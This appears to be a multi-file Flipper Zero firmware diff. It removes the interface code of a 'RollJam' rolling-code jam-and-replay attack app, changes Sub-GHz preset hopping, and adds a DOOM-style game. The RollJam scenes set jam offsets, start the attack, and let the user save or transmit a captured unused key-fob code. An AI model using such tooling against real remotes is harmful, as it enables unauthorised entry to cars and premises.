/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/
@@ -1,161 +0,0 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static uint8_t get_min_offset_index(uint8_t mod_index) {
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
return JamOffIndex_300k;
}
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(app->jam_offset_index < min_idx) {
app->jam_offset_index = min_idx;
app->jam_offset_hz = jam_offset_values[min_idx];
if(offset_item) {
variable_item_set_current_value_index(offset_item, min_idx);
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
}
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
jam_offset_names[min_idx]);
}
}
static VariableItem* s_offset_item = NULL;
static void menu_freq_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->freq_index = index;
app->frequency = freq_values[index];
variable_item_set_current_value_text(item, freq_names[index]);
}
static void menu_mod_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->mod_index = index;
variable_item_set_current_value_text(item, mod_names[index]);
enforce_min_offset(app, s_offset_item);
}
static void menu_jam_offset_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
uint8_t min_idx = get_min_offset_index(app->mod_index);
if(index < min_idx) {
index = min_idx;
variable_item_set_current_value_index(item, index);
}
app->jam_offset_index = index;
app->jam_offset_hz = jam_offset_values[index];
variable_item_set_current_value_text(item, jam_offset_names[index]);
}
static void menu_hw_changed(VariableItem* item) {
RollJamApp* app = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
app->hw_index = index;
variable_item_set_current_value_text(item, hw_names[index]);
}
static void menu_enter_callback(void* context, uint32_t index) {
RollJamApp* app = context;
if(index == 4) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventStartAttack);
}
}
void rolljam_scene_menu_on_enter(void* context) {
RollJamApp* app = context;
variable_item_list_reset(app->var_item_list);
// --- Frequency ---
VariableItem* freq_item = variable_item_list_add(
app->var_item_list,
"Frequency",
FreqIndex_COUNT,
menu_freq_changed,
app);
variable_item_set_current_value_index(freq_item, app->freq_index);
variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
// --- Modulation ---
VariableItem* mod_item = variable_item_list_add(
app->var_item_list,
"Modulation",
ModIndex_COUNT,
menu_mod_changed,
app);
variable_item_set_current_value_index(mod_item, app->mod_index);
variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
// --- Jam Offset ---
VariableItem* offset_item = variable_item_list_add(
app->var_item_list,
"Jam Offset",
JamOffIndex_COUNT,
menu_jam_offset_changed,
app);
s_offset_item = offset_item;
enforce_min_offset(app, offset_item);
variable_item_set_current_value_index(offset_item, app->jam_offset_index);
variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
// --- Hardware ---
VariableItem* hw_item = variable_item_list_add(
app->var_item_list,
"Hardware",
HwIndex_COUNT,
menu_hw_changed,
app);
variable_item_set_current_value_index(hw_item, app->hw_index);
variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
// --- Start button ---
variable_item_list_add(
app->var_item_list,
">> START ATTACK <<",
0,
NULL,
app);
variable_item_list_set_enter_callback(
app->var_item_list, menu_enter_callback, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewVarItemList);
}
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventStartAttack) {
enforce_min_offset(app, NULL);
memset(&app->signal_first, 0, sizeof(RawSignal));
memset(&app->signal_second, 0, sizeof(RawSignal));
scene_manager_next_scene(
app->scene_manager, RollJamSceneAttackPhase1);
return true;
}
}
return false;
}
void rolljam_scene_menu_on_exit(void* context) {
RollJamApp* app = context;
s_offset_item = NULL;
variable_item_list_reset(app->var_item_list);
}
@@ -1,110 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
// ============================================================
static void result_dialog_callback(DialogExResult result, void* context) {
RollJamApp* app = context;
if(result == DialogExResultLeft) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSaveSignal);
} else if(result == DialogExResultRight) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventReplayNow);
}
}
void rolljam_scene_result_on_enter(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
dialog_ex_set_header(
app->dialog_ex, "Attack Complete!",
64, 2, AlignCenter, AlignTop);
dialog_ex_set_text(
app->dialog_ex,
"1st code: SENT to target\n"
"2nd code: IN MEMORY\n\n"
"What to do with 2nd?",
64, 18, AlignCenter, AlignTop);
dialog_ex_set_left_button_text(app->dialog_ex, "Save");
dialog_ex_set_right_button_text(app->dialog_ex, "Send");
dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
dialog_ex_set_context(app->dialog_ex, app);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewDialogEx);
}
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSaveSignal) {
rolljam_save_signal(app, &app->signal_second);
popup_reset(app->popup);
popup_set_header(
app->popup, "Saved!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
notification_message(app->notification, &sequence_success);
return true;
} else if(event.event == RollJamEventReplayNow) {
popup_reset(app->popup);
popup_set_header(
app->popup, "Transmitting...",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup, "Sending 2nd code NOW",
64, 38, AlignCenter, AlignCenter);
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewPopup);
rolljam_transmit_signal(app, &app->signal_second);
notification_message(app->notification, &sequence_success);
popup_set_header(
app->popup, "Done!",
64, 20, AlignCenter, AlignCenter);
popup_set_text(
app->popup,
"2nd code transmitted!\n\nPress Back",
64, 38, AlignCenter, AlignCenter);
popup_set_timeout(app->popup, 5000);
popup_enable_timeout(app->popup);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_result_on_exit(void* context) {
RollJamApp* app = context;
dialog_ex_reset(app->dialog_ex);
popup_reset(app->popup);
}
@@ -1,53 +0,0 @@
#include "rolljam_attack_view.h"
#include <gui/canvas.h>
// ============================================================
// Custom drawing for attack status
// Reserved for future use with a custom View
// Currently the app uses Widget modules instead
// ============================================================
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
canvas_clear(canvas);
// Title bar
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(
canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
// Separator
canvas_draw_line(canvas, 0, 14, 128, 14);
// Status
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
// Indicators
int y = 32;
if(state->jamming) {
canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
// Animated dots could go here
} else {
canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
}
y += 12;
if(state->capturing) {
canvas_draw_str(canvas, 4, y, "RX: [LISTENING]");
} else {
canvas_draw_str(canvas, 4, y, "RX: [OFF]");
}
y += 12;
// Signal counter
char buf[32];
snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
canvas_draw_str(canvas, 4, y, buf);
// Footer
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(
canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
}
@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Custom view for attack visualization.
* Currently the app uses Widget and DialogEx for display.
* This file is reserved for a future custom canvas-drawn view
* (e.g., signal waveform display, animated jamming indicator).
*
* For now it provides a simple status draw function.
*/
typedef struct {
const char* phase_text;
const char* status_text;
bool jamming;
bool capturing;
int signal_count;
} AttackViewState;
// Draw attack status on a canvas (for future custom View use)
void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);
+1 -3
View File
@@ -4,14 +4,12 @@ App(
apptype=FlipperAppType.METAPACKAGE,
provides=[
"gpio",
"infrared",
"lfrfid",
"nfc",
"subghz",
"rolljam",
"subghz_remote",
"subghz_bruteforcer",
"archive",
"subghz_remote",
"main_apps_on_start",
],
)
+34 -32
View File
@@ -1,9 +1,11 @@
#include "subghz_txrx_i.h" // IWYU pragma: keep
#include <math.h>
#include <furi_hal_subghz.h>
#include <lib/subghz/protocols/protocol_items.h>
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
#include "../../../../lib/subghz/devices/subghz_preset_delta.h"
#include <lib/subghz/blocks/custom_btn.h>
#define TAG "SubGhzTxRx"
@@ -498,6 +500,36 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
}
}
// Identify the hop index (0=AM650, 1=FM476, 2=FM95) from the name.
// Must match the order defined in subghz_preset_delta.h
static int subghz_hop_index_from_name(const char* name) {
if(strcmp(name, "AM650") == 0) return 0;
if(strcmp(name, "FM476") == 0) return 1;
if(strcmp(name, "FM95") == 0) return 2;
return -1; // is not part of the fast hopping set
}
// Applies the target preset using delta-patch (without SRES) when possible,
// or falls back to the original full reload in any other case.
static void subghz_txrx_apply_preset_fast(
SubGhzTxRx* instance,
const char* old_preset_name,
const char* preset_name) {
int from_idx = subghz_hop_index_from_name(old_preset_name);
int to_idx = subghz_hop_index_from_name(preset_name);
if(instance->radio_device_type == SubGhzRadioDeviceTypeInternal && from_idx >= 0 &&
to_idx >= 0 && from_idx != to_idx) {
// Fast path: delta-patch without SRES or full reload (only internal CC1101)
const PresetDeltaEntry* e = &preset_delta_table[from_idx][to_idx];
furi_hal_subghz_apply_preset_delta(e->delta, e->delta_len, e->needs_scal, e->pa_table);
} else {
// Fallback: original behavior (full reload)
subghz_devices_load_preset(
instance->radio_device, FuriHalSubGhzPresetCustom, instance->preset->data);
}
}
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
furi_assert(instance);
@@ -550,22 +582,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, actual_preset_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
subghz_txrx_rx(instance, instance->preset->frequency);
}
@@ -588,22 +605,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
subghz_txrx_set_preset_internal(
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
bool new_is_am = (strstr(preset_name, "AM") != NULL);
bool modulation_changed = (old_is_am != new_is_am);
if(modulation_changed) {
subghz_devices_reset(instance->radio_device);
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
} else {
subghz_devices_load_preset(
instance->radio_device,
FuriHalSubGhzPresetCustom,
instance->preset->data);
}
subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
subghz_txrx_rx(instance, instance->preset->frequency);
}
@@ -1,6 +1,7 @@
MIT License
Copyright (c) 2023 Zachary Weiss
Copyright (c) 2019 James Howard (original)
Copyright (c) 2025 Apfxtech (Flipper Zero port)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+177
View File
@@ -0,0 +1,177 @@
# Flipper DOOM
A DOOM-style first-person shooter demake for the Flipper Zero
(128×64 monochrome LCD). Built on the raycaster engine from
[FlipperCatacombs](https://github.com/apfxtech/FlipperCatacombs) (a port of
*Catacombs of the Damned* / arduboy3d by jhhoward), re-skinned with graphics
converted **at build time from your own DOOM shareware WAD**.
---
## Quick Start
1. Copy `dist/flipdoom.fap` to your SD card under `SD/apps/Games/`
(or run `ufbt launch` with the Flipper connected via USB).
2. On the Flipper: **Apps → Games → Flipper DOOM**.
3. Title screen → main menu → select **Play** with OK.
4. Fight through procedurally generated levels, find the exit gate on each
floor, survive as deep as you can. Your score and high score are saved
automatically.
---
## Controls
### Title screen
| Button | Action |
|---|---|
| Any button | Skip the title screen |
### Main menu
| Button | Action |
|---|---|
| **Up / Down** | Move cursor (Play / Sound on-off / Score / High score) |
| **OK** | Select item |
| **Back (hold ~300 ms)** | Exit the app |
### In game
| Button | Action |
|---|---|
| **Up / Down** | Move forward / backward |
| **Left / Right** | Turn left / right |
| **OK** | Fire the shotgun (hold for continuous fire) |
| **OK held + Left / Right** | **Strafe** (circle-strafe while firing) — essential for dodging fireballs |
| **Back (hold ~300 ms)** | Leave the game and return to the menu |
Notes:
- Firing costs ammo (bottom HUD bar); ammo regenerates when not shooting.
- Strafing only works while OK is held. Tap OK to fire while turning
normally; hold OK to switch the side arrows into dodge mode.
- Walking into a backpack opens it; walking over pickups collects them.
### HUD
- **Bottom bar with cross icon** — health.
- **Bar above it with bullets icon** — ammo.
- Screen border flashes when you take damage.
- Pickup/event messages appear at the top of the screen.
---
## Gameplay
### Enemies
| Enemy | Behavior |
|---|---|
| **Zombieman** | Weak, shoots from range, appears from level 1 |
| **Sergeant** | Fast, shoots hard, keeps distance |
| **Imp** | Throws fireballs, backs away if you get close |
| **Demon** | Melee tank — charges you and bites |
Difficulty scales with depth: early levels spawn mostly zombies; imps join
from level 3, and demons dominate from level 6.
### Exploding barrels
Shooting a barrel triggers an area explosion that deals heavy damage to every
enemy nearby (one-shots zombies and sergeants) and hurts you if you stand too
close — though it will never kill you outright, it can leave you at 1 HP.
Barrels sometimes leave a pickup behind.
### Pickups
| Item | Effect |
|---|---|
| Stimpack | Restores health |
| Backpack (walk into it) | Bonus points |
| Armor / helmet / bonus items | Points |
### Scoring
Points are awarded for floors cleared, kills per enemy type, and items
collected. Escaping the base (final exit) grants a large bonus. Score and
high score are stored on the SD card (`apps_data/flipdoom/`) and persist
between sessions.
---
## Sound
Tone-based sound effects through the Flipper buzzer (shotgun blast, hits,
kills, pickups, player damage), all tuned within the buzzer's physical
1002500 Hz range. Sound can be toggled in the main menu; the system
Stealth Mode is respected.
---
## Building from source
Requires Python 3 and [ufbt](https://pypi.org/project/ufbt/):
```sh
pip install ufbt
cd FlipperDoom
# 1) Generate the sprite header from YOUR shareware WAD (not included here):
python3 tools/extract_doom_assets.py /path/to/Doom1.WAD
# 2) Build / install:
ufbt # produces dist/flipdoom.fap
ufbt launch # builds, installs and runs on a connected Flipper
```
### About the assets
No id Software assets are stored in this repository. The generated header
`game/Generated/DoomSprites.inc.h` is produced locally by
`tools/extract_doom_assets.py`, which decodes sprites from the user's own
shareware WAD (freely distributable as a whole), rescales them and quantizes
to 1-bit (black / 50% checker / white) in the engine's sprite formats.
Do not redistribute the generated header — always regenerate it from a WAD
you own. The "DOOM" title lettering and the HUD icons are original pixel art
made for this project. Preview images of the converted assets are written to
`tools/preview/`.
Entity mapping (game mechanics are inherited from the Catacombs engine):
| Engine entity | DOOM sprite | Role |
|---|---|---|
| Skeleton | Demon (SARG) | melee tank |
| Mage | Imp (TROO) | fireball thrower |
| Bat | Sergeant (SPOS) | fast shooter |
| Spider | Zombieman (POSS) | weak shooter |
| Weapon | Shotgun (SHTG + SHTF flash) | first person, centered |
| Urn | Barrel (BAR1) | explodes when shot |
| Potion | Stimpack (STIM) | health |
| Chest / opened | Backpack (BPAK) / Clip (CLIP) | treasure |
| Crown / scroll / coins | Armor / helmet / potion bottle (ARM1, BON2, BON1) | points |
| Sign | Skull pile (POL5) | decoration |
| Projectiles | Fireball (BAL1) | player & enemies |
## Why not a real doomgeneric port?
The hardware makes it impossible — not a software choice:
| | Flipper Zero | Real DOOM (doomgeneric) |
|---|---|---|
| Total RAM | 256 KB | — |
| Free heap for apps | ~140 KB | ~7 MB (zone memory + framebuffer) |
| Engine binary | FAPs load fully into RAM | ~524 KB compiled for Cortex-M4 |
The Flipper cannot execute code from the SD card (no XIP), so it can't even
load the DOOM engine binary. DOOM ports to 256 KB microcontrollers (GBA,
nRF52840) rely on memory-mapped flash, which the Flipper does not have. This
demake keeps the aesthetic with an engine that actually fits: ~30 KB loaded,
30 FPS on the 64 MHz Cortex-M4.
## License
Same license as the base project (see `LICENSE`). WAD contents are property
of id Software; the extraction tool only transforms them locally for
personal use.
@@ -0,0 +1,15 @@
App(
appid="flipdoom",
name="Flipper DOOM",
apptype=FlipperAppType.EXTERNAL,
entry_point="flipdoom_app",
cdefines=["APP_FLIPDOOM"],
requires=["gui"],
stack_size=8 * 1024,
fap_category="Games",
fap_icon="flipdoom_icon.png",
order=36,
fap_author="user",
fap_version="1.0",
fap_description="Doom-style raycaster demake for Flipper Zero. Graphics converted at build time from your own Doom shareware WAD.",
)
Binary file not shown.
Binary file not shown.
Binary file not shown.

After

Width:  |  Height:  |  Size: 96 B

@@ -0,0 +1,87 @@
#pragma once
#include <cstdint>
#include <cstring>
static inline const void* pgm_read_ptr_safe(const void* p) {
const void* out;
std::memcpy(&out, p, sizeof(out));
return out;
}
// Platform detection
#if defined(_WIN32)
#include <stdint.h>
#include <string.h>
#define PROGMEM
#define PSTR(s) (s)
#define pgm_read_byte(x) (*((uint8_t*)(x)))
#define pgm_read_word(x) (*((uint16_t*)(x)))
#define pgm_read_ptr(x) (*((uintptr_t*)(x)))
#define strlen_P(x) strlen(x)
#define strcpy_P(dst, src) strcpy(dst, src)
#define memcpy_P(dst, src, n) memcpy(dst, src, n)
#elif defined(__AVR__)
// Arduino/Arduboy platform
#include <avr/pgmspace.h>
#else
// Flipper Zero and other ARM platforms
#include <stdint.h>
#include <string.h>
#define PROGMEM
#define PSTR(s) (s)
#define pgm_read_byte(x) (*((const uint8_t*)(x)))
#define pgm_read_word(x) (*((const uint16_t*)(x)))
#define pgm_read_dword(x) (*((const uint32_t*)(x)))
#define strlen_P(x) strlen(x)
#define strcpy_P(dst, src) strcpy(dst, src)
#define strcmp_P(s1, s2) strcmp(s1, s2)
#define strncmp_P(s1, s2, n) strncmp(s1, s2, n)
#define memcpy_P(dst, src, n) memcpy(dst, src, n)
#define sprintf_P sprintf
#define snprintf_P snprintf
#endif
// Display configuration
#define DISPLAY_WIDTH 128
#define DISPLAY_HEIGHT 64
// Game settings
#define DEV_MODE 0
// Input definitions
#define INPUT_LEFT 1
#define INPUT_RIGHT 2
#define INPUT_UP 4
#define INPUT_DOWN 8
#define INPUT_A 16
#define INPUT_B 32
#ifndef COLOUR_WHITE
#define COLOUR_WHITE 1
#endif
#ifndef COLOUR_BLACK
#define COLOUR_BLACK 0
#endif
// Angle system (256 = 360 degrees)
#define FIXED_ANGLE_MAX 256
// 3D rendering settings
#define CAMERA_SCALE 1
#define CLIP_PLANE 32
#define CLIP_ANGLE 32
#define NEAR_PLANE_MULTIPLIER 130
#define NEAR_PLANE (DISPLAY_WIDTH * NEAR_PLANE_MULTIPLIER / 256)
#define HORIZON (DISPLAY_HEIGHT / 2)
// World settings
#define CELL_SIZE 256
#define PARTICLES_PER_SYSTEM 8
#define BASE_SPRITE_SIZE 16
#define MAX_SPRITE_SIZE (DISPLAY_HEIGHT / 2)
#define MIN_TEXTURE_DISTANCE 4
#define MAX_QUEUED_DRAWABLES 12
// Player settings
#define TURN_SPEED 3
File diff suppressed because it is too large Load Diff
+146
View File
@@ -0,0 +1,146 @@
#pragma once
#include "game/Defines.h"
#define WITH_IMAGE_TEXTURES 0
#define WITH_VECTOR_TEXTURES 1
#define WITH_TEXTURES (WITH_IMAGE_TEXTURES || WITH_VECTOR_TEXTURES)
#define WITH_SPRITE_OUTLINES 1
struct Camera {
int16_t x, y;
uint8_t angle;
int16_t rotCos, rotSin;
int16_t clipCos, clipSin;
uint8_t cellX, cellY;
int8_t tilt;
int8_t bob;
uint8_t shakeTime;
};
enum class DrawableType : uint8_t {
Sprite = 0,
ParticleSystem = 1
};
enum class AnchorType : uint8_t {
Floor,
Center,
BelowCenter,
Ceiling
};
struct QueuedDrawable {
union {
const uint16_t* spriteData;
struct ParticleSystem* particleSystem;
};
DrawableType type : 1;
bool invert : 1;
int8_t x;
int8_t y;
uint8_t halfSize;
uint8_t inverseCameraDistance;
};
class Renderer {
public:
static Camera camera;
static uint8_t wBuffer[DISPLAY_WIDTH];
static uint8_t globalRenderFrame;
static void Render();
static void DrawObject(
const uint16_t* spriteData,
int16_t x,
int16_t y,
uint8_t scale = 128,
AnchorType anchor = AnchorType::Floor,
bool invert = false);
static QueuedDrawable* CreateQueuedDrawable(uint8_t inverseCameraDistance);
static int8_t GetHorizon(int16_t x);
static bool
TransformAndCull(int16_t worldX, int16_t worldY, int16_t& outScreenX, int16_t& outScreenW);
static void DrawScaled(
const uint16_t* data,
int8_t x,
int8_t y,
uint8_t halfSize,
uint8_t inverseCameraDistance,
bool invert = false,
uint8_t color = COLOUR_BLACK);
static int8_t horizonBuffer[DISPLAY_WIDTH];
static uint8_t numBufferSlicesFilled;
static void DrawWallLine(
int16_t x1,
int16_t y1,
int16_t x2,
int16_t y2,
uint8_t clipLeft,
uint8_t clipRight,
uint8_t col);
static void DrawWallSegment(
const uint8_t* texture,
int16_t x1,
int16_t w1,
int16_t x2,
int16_t w2,
uint8_t u1clip,
uint8_t u2clip,
bool edgeLeft,
bool edgeRight,
bool shadeEdge);
static void DrawWall(
const uint8_t* texture,
int16_t x1,
int16_t y1,
int16_t x2,
int16_t y2,
bool edgeLeft,
bool edgeRight,
bool shadeEdge);
static void DrawBackground();
static uint8_t numQueuedDrawables;
static bool isFrustrumClipped(int16_t x, int16_t y);
private:
static QueuedDrawable queuedDrawables[MAX_QUEUED_DRAWABLES];
// #if WITH_IMAGE_TEXTURES
// static void DrawWallSegment(const uint16_t* texture, int16_t x1, int16_t w1, int16_t x2, int16_t w2, uint8_t u1clip, uint8_t u2clip, bool edgeLeft, bool edgeRight, bool shadeEdge);
// static void DrawWall(const uint16_t* texture, int16_t x1, int16_t y1, int16_t x2, int16_t y2, bool edgeLeft, bool edgeRight, bool shadeEdge);
// #elif WITH_VECTOR_TEXTURES
// static void DrawWallLine(int16_t x1, int16_t y1, int16_t x2, int16_t y2, uint8_t clipLeft, uint8_t clipRight, uint8_t col);
// static void DrawWallSegment(const uint8_t* texture, int16_t x1, int16_t w1, int16_t x2, int16_t w2, uint8_t u1clip, uint8_t u2clip, bool edgeLeft, bool edgeRight, bool shadeEdge);
// static void DrawWall(const uint8_t* texture, int16_t x1, int16_t y1, int16_t x2, int16_t y2, bool edgeLeft, bool edgeRight, bool shadeEdge);
// #else
// static void DrawWallSegment(int16_t x1, int16_t w1, int16_t x2, int16_t w2, bool edgeLeft, bool edgeRight, bool shadeEdge);
// static void DrawWall(int16_t x1, int16_t y1, int16_t x2, int16_t y2, bool edgeLeft, bool edgeRight, bool shadeEdge);
// #endif
static void DrawFloorLine(int16_t x1, int16_t y1, int16_t x2, int16_t y2);
static void DrawFloorLineInner(int16_t x1, int16_t y1, int16_t x2, int16_t y2);
static void DrawFloorLines();
static void TransformToViewSpace(int16_t x, int16_t y, int16_t& outX, int16_t& outY);
static void TransformToScreenSpace(int16_t viewX, int16_t viewZ, int16_t& outX, int16_t& outW);
static void DrawCell(uint8_t x, uint8_t y);
static void DrawCells();
static void DrawWeapon();
static void DrawHUD();
static void DrawBar(uint8_t* screenPtr, const uint8_t* iconData, uint8_t amount, uint8_t max);
static void DrawDamageIndicator();
static void QueueSprite(
const uint16_t* data,
int8_t x,
int8_t y,
uint8_t halfSize,
uint8_t inverseCameraDistance,
bool invert = false);
static void RenderQueuedDrawables();
};
@@ -0,0 +1,484 @@
#include "game/Enemy.h"
#include "game/Defines.h"
#include "game/Draw.h"
#include "game/Map.h"
#include "game/FixedMath.h"
#include "game/Game.h"
#include "game/Projectile.h"
#include "game/Generated/SpriteTypes.h"
#include "game/Sounds.h"
#include "game/Platform.h"
#include "game/Particle.h"
Enemy EnemyManager::enemies[maxEnemies];
const EnemyArchetype Enemy::archetypes[(int)EnemyType::NumEnemyTypes] PROGMEM =
{
{
// Skeleton
skeletonSpriteData,
50, // hp
4, // speed
20, // attackStrength
3, // attackDuration
2, // stunDuration
false, // isRanged
96, // sprite scale
AnchorType::Floor // sprite anchor
},
{
// Mage
mageSpriteData,
30, // hp
5, // speed
20, // attackStrength
3, // attackDuration
2, // stunDuration
true, // isRanged
96, // sprite scale
AnchorType::Floor // sprite anchor
},
{
// Bat -> shotgun sergeant (ranged, hits hard)
batSpriteData,
20, // hp
6, // speed
10, // attackStrength
2, // attackDuration
0, // stunDuration
true, // isRanged
90, // sprite scale
AnchorType::Floor // sprite anchor
},
{
// Spider -> zombieman (ranged, weak)
spiderSpriteData,
10, // hp
5, // speed
4, // attackStrength
1, // attackDuration
0, // stunDuration
true, // isRanged
80, // sprite scale
AnchorType::Floor // sprite anchor
}
};
void Enemy::Init(EnemyType initType, int16_t initX, int16_t initY)
{
state = EnemyState::Idle;
type = initType;
x = initX;
y = initY;
frameDelay = 0;
targetCellX = x / CELL_SIZE;
targetCellY = y / CELL_SIZE;
hp = GetArchetype()->GetHP();
}
void Enemy::Damage(uint8_t amount)
{
if (amount >= hp)
{
Game::stats.enemyKills[(int)type]++;
type = EnemyType::None;
Platform::PlaySound(Sounds::Kill);
ParticleSystemManager::CreateExplosion(x, y, true);
}
else
{
hp -= amount;
Platform::PlaySound(Sounds::Hit);
state = EnemyState::Stunned;
frameDelay = GetArchetype()->GetStunDuration();
}
}
const EnemyArchetype* Enemy::GetArchetype() const
{
if (type == EnemyType::None)
return nullptr;
return &archetypes[(int)type];
}
int16_t Clamp(int16_t x, int16_t min, int16_t max)
{
if(x < min)
return min;
if(x > max)
return max;
return x;
}
bool Enemy::TryPickCell(int8_t newX, int8_t newY)
{
if(Map::IsBlocked(newX, newY))// && !engine.map.isDoor(newX, newZ))
return false;
if(Map::IsBlocked(targetCellX, newY)) // && !engine.map.isDoor(targetCellX, newZ))
return false;
if(Map::IsBlocked(newX, targetCellY)) // && !engine.map.isDoor(newX, targetCellZ))
return false;
for (Enemy& other : EnemyManager::enemies)
{
if(this != &other && other.IsValid())
{
if(other.targetCellX == newX && other.targetCellY == newY)
return false;
}
}
targetCellX = newX;
targetCellY = newY;
return true;
}
bool Enemy::TryPickCells(int8_t deltaX, int8_t deltaY)
{
return TryPickCell(targetCellX + deltaX, targetCellY + deltaY)
|| TryPickCell(targetCellX + deltaX, targetCellY)
|| TryPickCell(targetCellX, targetCellY + deltaY)
|| TryPickCell(targetCellX - deltaX, targetCellY + deltaY)
|| TryPickCell(targetCellX + deltaX, targetCellY - deltaY);
}
uint8_t Enemy::GetPlayerCellDistance() const
{
uint8_t dx = ABS(Game::player.x - x) / CELL_SIZE;
uint8_t dy = ABS(Game::player.y - y) / CELL_SIZE;
return dx > dy ? dx : dy;
}
void Enemy::PickNewTargetCell()
{
int8_t deltaX = (int8_t) Clamp((Game::player.x / CELL_SIZE) - targetCellX, -1, 1);
int8_t deltaY = (int8_t) Clamp((Game::player.y / CELL_SIZE) - targetCellY, -1, 1);
uint8_t dodgeChance = (uint8_t) Random();
if (GetArchetype()->GetIsRanged() && GetPlayerCellDistance() < 3)
{
deltaX = -deltaX;
deltaY = -deltaY;
}
if(deltaX == 0)
{
if(dodgeChance < 64)
{
deltaX = -1;
}
else if(dodgeChance < 128)
{
deltaX = 1;
}
}
else if(deltaY == 0)
{
if(dodgeChance < 64)
{
deltaY = -1;
}
else if(dodgeChance < 128)
{
deltaY = 1;
}
}
TryPickCells(deltaX, deltaY);
}
void Enemy::StunMove()
{
//int16_t targetX = Game::player.x;
//int16_t targetY = Game::player.y;
//
//int16_t maxDelta = 3;
//
//int16_t deltaX = Clamp(targetX - x, -maxDelta, maxDelta);
//int16_t deltaY = Clamp(targetY - y, -maxDelta, maxDelta);
//
//x -= deltaX;
//y -= deltaY;
// int16_t deltaX = (Random() % 16) - 8;
// int16_t deltaY = (Random() % 16) - 8;
// x += deltaX;
// y += deltaY;
}
bool Enemy::TryMove()
{
if(Map::IsSolid(targetCellX, targetCellY))
{
//engine.map.openDoorsAt(targetCellX, targetCellZ, Direction_None);
return false;
}
int16_t targetX = (targetCellX * CELL_SIZE) + CELL_SIZE / 2;
int16_t targetY = (targetCellY * CELL_SIZE) + CELL_SIZE / 2;
int16_t maxDelta = GetArchetype()->GetMovementSpeed();
